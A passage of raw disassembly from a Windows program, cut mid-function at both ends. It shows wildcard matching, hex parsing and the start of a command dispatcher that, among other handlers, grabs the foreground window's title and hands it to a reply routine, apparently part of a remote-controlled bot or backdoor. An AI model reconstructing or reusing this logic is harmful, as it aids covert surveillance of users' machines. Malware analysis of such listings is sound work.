		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: .data:0041AE78o
					; .data:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8	; GetForegroundWindow
		push	eax
		call	dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
